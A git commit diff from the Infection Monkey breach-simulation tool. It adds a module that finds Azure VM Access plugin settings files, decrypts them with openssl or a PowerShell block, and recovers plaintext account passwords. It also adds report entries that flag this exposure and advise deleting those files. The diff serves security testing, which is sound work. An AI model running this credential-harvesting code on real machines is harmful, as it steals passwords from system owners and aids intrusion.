Merge pull request #113 from guardicore/master
Rebase develop onto master
This commit is contained in:
commit
9d59e9164c
|
@ -39,12 +39,12 @@ The Infection Monkey uses the following techniques and exploits to propagate to
|
|||
|
||||
Setup
|
||||
-------------------------------
|
||||
Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki.
|
||||
Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/).
|
||||
|
||||
|
||||
Building the Monkey from source
|
||||
-------------------------------
|
||||
If you want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/setup)
|
||||
If you want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself)
|
||||
and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island).
|
||||
|
||||
|
||||
|
|
|
@ -272,5 +272,7 @@ class Configuration(object):
|
|||
|
||||
mimikatz_dll_name = "mk.dll"
|
||||
|
||||
extract_azure_creds = True
|
||||
|
||||
|
||||
WormConfiguration = Configuration()
|
||||
|
|
|
@ -15,6 +15,7 @@
|
|||
"current_server": "41.50.73.31:5000",
|
||||
"alive": true,
|
||||
"collect_system_info": true,
|
||||
"extract_azure_creds": true,
|
||||
"depth": 2,
|
||||
|
||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||
|
|
|
@ -6,6 +6,7 @@ import psutil
|
|||
from enum import IntEnum
|
||||
|
||||
from network.info import get_host_subnets
|
||||
from azure_cred_collector import AzureCollector
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
@ -104,3 +105,29 @@ class InfoCollector(object):
|
|||
"""
|
||||
LOG.debug("Reading subnets")
|
||||
self.info['network_info'] = {'networks': get_host_subnets()}
|
||||
|
||||
def get_azure_info(self):
|
||||
"""
|
||||
Adds credentials possibly stolen from an Azure VM instance (if we're on one)
|
||||
Updates the credentials structure, creating it if neccesary (compat with mimikatz)
|
||||
:return: None. Updates class information
|
||||
"""
|
||||
from config import WormConfiguration
|
||||
if not WormConfiguration.extract_azure_creds:
|
||||
return
|
||||
LOG.debug("Harvesting creds if on an Azure machine")
|
||||
azure_collector = AzureCollector()
|
||||
if 'credentials' not in self.info:
|
||||
self.info["credentials"] = {}
|
||||
azure_creds = azure_collector.extract_stored_credentials()
|
||||
for cred in azure_creds:
|
||||
username = cred[0]
|
||||
password = cred[1]
|
||||
if username not in self.info["credentials"]:
|
||||
self.info["credentials"][username] = {}
|
||||
# we might be losing passwords in case of multiple reset attempts on same username
|
||||
# or in case another collector already filled in a password for this user
|
||||
self.info["credentials"][username]['password'] = password
|
||||
if len(azure_creds) != 0:
|
||||
self.info["Azure"] = {}
|
||||
self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds]
|
||||
|
|
|
@ -0,0 +1,104 @@
|
|||
import sys
|
||||
import logging
|
||||
import os.path
|
||||
import json
|
||||
import glob
|
||||
import subprocess
|
||||
|
||||
__author__ = 'danielg'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class AzureCollector(object):
|
||||
"""
|
||||
Extract credentials possibly saved on Azure VM instances by the VM Access plugin
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
if sys.platform.startswith("win"):
|
||||
self.path = "C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings"
|
||||
self.extractor = AzureCollector.get_pass_windows
|
||||
else:
|
||||
self.path = "/var/lib/waagent/Microsoft.OSTCExtensions.VMAccessForLinux-1.4.7.1/config"
|
||||
self.extractor = AzureCollector.get_pass_linux
|
||||
self.file_list = glob.iglob(os.path.join(self.path, "*.settings"))
|
||||
|
||||
def extract_stored_credentials(self):
|
||||
"""
|
||||
Returns a list of username/password pairs saved under configuration files
|
||||
:return: List of (user/pass), possibly empty
|
||||
"""
|
||||
results = [self.extractor(filepath) for filepath in self.file_list]
|
||||
results = [x for x in results if x]
|
||||
LOG.info("Found %d Azure VM access configuration file", len(results))
|
||||
return results
|
||||
|
||||
@staticmethod
|
||||
def get_pass_linux(filepath):
|
||||
"""
|
||||
Extract passwords from Linux azure VM Access files
|
||||
:return: Username, password
|
||||
"""
|
||||
linux_cert_store = "/var/lib/waagent/"
|
||||
try:
|
||||
json_data = json.load(open(filepath, 'r'))
|
||||
# this is liable to change but seems to be stable over the last year
|
||||
protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings']
|
||||
cert_thumbprint = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettingsCertThumbprint']
|
||||
base64_command = """openssl base64 -d -a"""
|
||||
priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint)
|
||||
b64_proc = subprocess.Popen(base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE)
|
||||
b64_result = b64_proc.communicate(input=protected_data + "\n")[0]
|
||||
decrypt_command = 'openssl smime -inform DER -decrypt -inkey %s' % priv_path
|
||||
decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE)
|
||||
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
|
||||
decrypt_data = json.loads(decrypt_raw)
|
||||
return decrypt_data['username'], decrypt_data['password']
|
||||
except IOError:
|
||||
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
|
||||
return None
|
||||
except (KeyError, ValueError):
|
||||
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
|
||||
return None
|
||||
except subprocess.CalledProcessError:
|
||||
LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data")
|
||||
return None
|
||||
|
||||
@staticmethod
|
||||
def get_pass_windows(filepath):
|
||||
"""
|
||||
Extract passwords from Windows azure VM Access files
|
||||
:return: Username,password
|
||||
"""
|
||||
try:
|
||||
json_data = json.load(open(filepath, 'r'))
|
||||
# this is liable to change but seems to be stable over the last year
|
||||
protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings']
|
||||
username = json_data['runtimeSettings'][0]['handlerSettings']['publicSettings']['UserName']
|
||||
# we're going to do as much of this in PS as we can.
|
||||
ps_block = ";\n".join([
|
||||
'[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | Out-Null',
|
||||
'$base64 = "%s"' % protected_data,
|
||||
"$content = [Convert]::FromBase64String($base64)",
|
||||
"$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms",
|
||||
"$env.Decode($content)",
|
||||
"$env.Decrypt()",
|
||||
"$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)",
|
||||
"Write-Host $utf8content" # we want to simplify parsing
|
||||
])
|
||||
ps_proc = subprocess.Popen(["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
|
||||
ps_out = ps_proc.communicate(ps_block)[0]
|
||||
# this is disgusting but the alternative is writing the file to disk...
|
||||
password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1]
|
||||
password = json.loads(password_raw)["Password"]
|
||||
return username, password
|
||||
except IOError:
|
||||
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
|
||||
return None
|
||||
except (KeyError, ValueError):
|
||||
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
|
||||
return None
|
||||
except subprocess.CalledProcessError:
|
||||
LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data")
|
||||
return None
|
|
@ -25,4 +25,5 @@ class LinuxInfoCollector(InfoCollector):
|
|||
self.get_hostname()
|
||||
self.get_process_list()
|
||||
self.get_network_info()
|
||||
self.get_azure_info()
|
||||
return self.info
|
||||
|
|
|
@ -27,6 +27,8 @@ class WindowsInfoCollector(InfoCollector):
|
|||
self.get_hostname()
|
||||
self.get_process_list()
|
||||
self.get_network_info()
|
||||
self.get_azure_info()
|
||||
mimikatz_collector = MimikatzCollector()
|
||||
self.info["credentials"] = mimikatz_collector.get_logon_info()
|
||||
mimikatz_info = mimikatz_collector.get_logon_info()
|
||||
self.info["credentials"].update(mimikatz_info)
|
||||
return self.info
|
||||
|
|
|
@ -24,6 +24,7 @@ class Monkey(flask_restful.Resource):
|
|||
|
||||
if guid:
|
||||
monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid})
|
||||
monkey_json['config'] = ConfigService.decrypt_flat_config(monkey_json['config'])
|
||||
return monkey_json
|
||||
|
||||
return {}
|
||||
|
@ -65,7 +66,8 @@ class Monkey(flask_restful.Resource):
|
|||
# if new monkey telem, change config according to "new monkeys" config.
|
||||
db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})
|
||||
if not db_monkey:
|
||||
new_config = ConfigService.get_flat_config(False, True)
|
||||
# we pull it encrypted because we then decrypt it for the monkey in get
|
||||
new_config = ConfigService.get_flat_config(False, False)
|
||||
monkey_json['config'] = monkey_json.get('config', {})
|
||||
monkey_json['config'].update(new_config)
|
||||
else:
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
import copy
|
||||
import collections
|
||||
import functools
|
||||
from jsonschema import Draft4Validator, validators
|
||||
|
||||
|
@ -521,8 +522,8 @@ SCHEMA = {
|
|||
}
|
||||
}
|
||||
},
|
||||
"mimikatz": {
|
||||
"title": "Mimikatz",
|
||||
"systemInfo": {
|
||||
"title": "System collection",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"mimikatz_dll_name": {
|
||||
|
@ -531,6 +532,13 @@ SCHEMA = {
|
|||
"default": "mk.dll",
|
||||
"description":
|
||||
"Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)"
|
||||
},
|
||||
"extract_azure_creds": {
|
||||
"title": "Harvest Azure Credentials",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description":
|
||||
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -978,6 +986,19 @@ class ConfigService:
|
|||
def encrypt_config(config):
|
||||
ConfigService._encrypt_or_decrypt_config(config, False)
|
||||
|
||||
@staticmethod
|
||||
def decrypt_flat_config(flat_config):
|
||||
"""
|
||||
Same as decrypt_config but for a flat configuration
|
||||
"""
|
||||
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
|
||||
for key in keys:
|
||||
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], basestring):
|
||||
flat_config[key] = [encryptor.dec(item) for item in flat_config[key]]
|
||||
else:
|
||||
flat_config[key] = encryptor.dec(flat_config[key])
|
||||
return flat_config
|
||||
|
||||
@staticmethod
|
||||
def _encrypt_or_decrypt_config(config, is_decrypt=False):
|
||||
for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS:
|
||||
|
|
|
@ -33,6 +33,7 @@ class ReportService:
|
|||
SAMBACRY = 3
|
||||
SHELLSHOCK = 4
|
||||
CONFICKER = 5
|
||||
AZURE = 6
|
||||
|
||||
class WARNINGS_DICT(Enum):
|
||||
CROSS_SEGMENT = 0
|
||||
|
@ -71,6 +72,19 @@ class ReportService:
|
|||
}
|
||||
for tunnel in mongo.db.monkey.find({'tunnel': {'$exists': True}}, {'tunnel': 1})]
|
||||
|
||||
@staticmethod
|
||||
def get_azure_issues():
|
||||
creds = ReportService.get_azure_creds()
|
||||
machines = set([instance['origin'] for instance in creds])
|
||||
|
||||
return [
|
||||
{
|
||||
'type': 'azure_password',
|
||||
'machine': machine,
|
||||
'users': set([instance['username'] for instance in creds if instance['origin'] == machine])
|
||||
}
|
||||
for machine in machines]
|
||||
|
||||
@staticmethod
|
||||
def get_scanned():
|
||||
nodes = \
|
||||
|
@ -135,6 +149,26 @@ class ReportService:
|
|||
)
|
||||
return creds
|
||||
|
||||
@staticmethod
|
||||
def get_azure_creds():
|
||||
"""
|
||||
Recover all credentials marked as being from an Azure machine
|
||||
:return: List of credentials.
|
||||
"""
|
||||
creds = []
|
||||
for telem in mongo.db.telemetry.find(
|
||||
{'telem_type': 'system_info_collection', 'data.Azure': {'$exists': True}},
|
||||
{'data.Azure': 1, 'monkey_guid': 1}
|
||||
):
|
||||
azure_users = telem['data']['Azure']['usernames']
|
||||
if len(azure_users) == 0:
|
||||
continue
|
||||
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
||||
azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password',
|
||||
'origin': origin} for user in azure_users]
|
||||
creds.extend(azure_leaked_users)
|
||||
return creds
|
||||
|
||||
@staticmethod
|
||||
def process_general_exploit(exploit):
|
||||
ip_addr = exploit['data']['machine']['ip_addr']
|
||||
|
@ -277,7 +311,7 @@ class ReportService:
|
|||
|
||||
@staticmethod
|
||||
def get_issues():
|
||||
issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues()
|
||||
issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues()
|
||||
issues_dict = {}
|
||||
for issue in issues:
|
||||
machine = issue['machine']
|
||||
|
@ -315,7 +349,8 @@ class ReportService:
|
|||
|
||||
@staticmethod
|
||||
def get_config_ips():
|
||||
if ConfigService.get_config_value(['basic_network', 'network_range', 'range_class'], True, True) != 'FixedRange':
|
||||
if ConfigService.get_config_value(['basic_network', 'network_range', 'range_class'], True,
|
||||
True) != 'FixedRange':
|
||||
return []
|
||||
return ConfigService.get_config_value(['basic_network', 'network_range', 'range_fixed'], True, True)
|
||||
|
||||
|
@ -325,7 +360,7 @@ class ReportService:
|
|||
|
||||
@staticmethod
|
||||
def get_issues_overview(issues, config_users, config_passwords):
|
||||
issues_byte_array = [False] * 6
|
||||
issues_byte_array = [False] * len(ReportService.ISSUES_DICT)
|
||||
|
||||
for machine in issues:
|
||||
for issue in issues[machine]:
|
||||
|
@ -337,6 +372,8 @@ class ReportService:
|
|||
issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True
|
||||
elif issue['type'] == 'conficker':
|
||||
issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True
|
||||
elif issue['type'] == 'azure_password':
|
||||
issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True
|
||||
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
||||
issue['username'] in config_users:
|
||||
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
|
||||
|
@ -397,7 +434,8 @@ class ReportService:
|
|||
{
|
||||
'scanned': ReportService.get_scanned(),
|
||||
'exploited': ReportService.get_exploited(),
|
||||
'stolen_creds': ReportService.get_stolen_creds()
|
||||
'stolen_creds': ReportService.get_stolen_creds(),
|
||||
'azure_passwords': ReportService.get_azure_creds(),
|
||||
},
|
||||
'recommendations':
|
||||
{
|
||||
|
|
|
@ -103,7 +103,7 @@ class PreviewPaneComponent extends AuthComponent {
|
|||
}
|
||||
|
||||
downloadLog(asset) {
|
||||
fetch('/api/log?id=' + asset.id)
|
||||
this.authFetch('/api/log?id=' + asset.id)
|
||||
.then(res => res.json())
|
||||
.then(res => {
|
||||
let timestamp = res['timestamp'];
|
||||
|
|
|
@ -21,7 +21,8 @@ class ReportPageComponent extends AuthComponent {
|
|||
ELASTIC: 2,
|
||||
SAMBACRY: 3,
|
||||
SHELLSHOCK: 4,
|
||||
CONFICKER: 5
|
||||
CONFICKER: 5,
|
||||
AZURE: 6
|
||||
};
|
||||
|
||||
Warning =
|
||||
|
@ -313,6 +314,11 @@ class ReportPageComponent extends AuthComponent {
|
|||
{this.state.report.overview.issues[this.Issue.WEAK_PASSWORD] ?
|
||||
<li>Machines are accessible using passwords supplied by the user during the Monkey’s
|
||||
configuration.</li> : null}
|
||||
{this.state.report.overview.issues[this.Issue.AZURE] ?
|
||||
<li>Azure machines expose plaintext passwords. (<a
|
||||
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
|
||||
>More info</a>)</li> : null}
|
||||
|
||||
</ul>
|
||||
</div>
|
||||
:
|
||||
|
@ -587,6 +593,21 @@ class ReportPageComponent extends AuthComponent {
|
|||
);
|
||||
}
|
||||
|
||||
generateAzureIssue(issue) {
|
||||
return (
|
||||
<li>
|
||||
Delete VM Access plugin configuration files.
|
||||
<CollapsibleWellComponent>
|
||||
Credentials could be stolen from <span
|
||||
className="label label-primary">{issue.machine}</span> for the following users <span
|
||||
className="label label-primary">{issue.users}</span>. Read more about the security issue and remediation <a
|
||||
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
|
||||
>here</a>.
|
||||
</CollapsibleWellComponent>
|
||||
</li>
|
||||
);
|
||||
}
|
||||
|
||||
generateConfickerIssue(issue) {
|
||||
return (
|
||||
<li>
|
||||
|
@ -631,6 +652,8 @@ class ReportPageComponent extends AuthComponent {
|
|||
);
|
||||
}
|
||||
|
||||
|
||||
|
||||
generateIssue = (issue) => {
|
||||
let data;
|
||||
switch (issue.type) {
|
||||
|
@ -670,6 +693,9 @@ class ReportPageComponent extends AuthComponent {
|
|||
case 'tunnel':
|
||||
data = this.generateTunnelIssue(issue);
|
||||
break;
|
||||
case 'azure_password':
|
||||
data = this.generateAzureIssue(issue);
|
||||
break;
|
||||
}
|
||||
return data;
|
||||
};
|
||||
|
|
Loading…
Reference in New Issue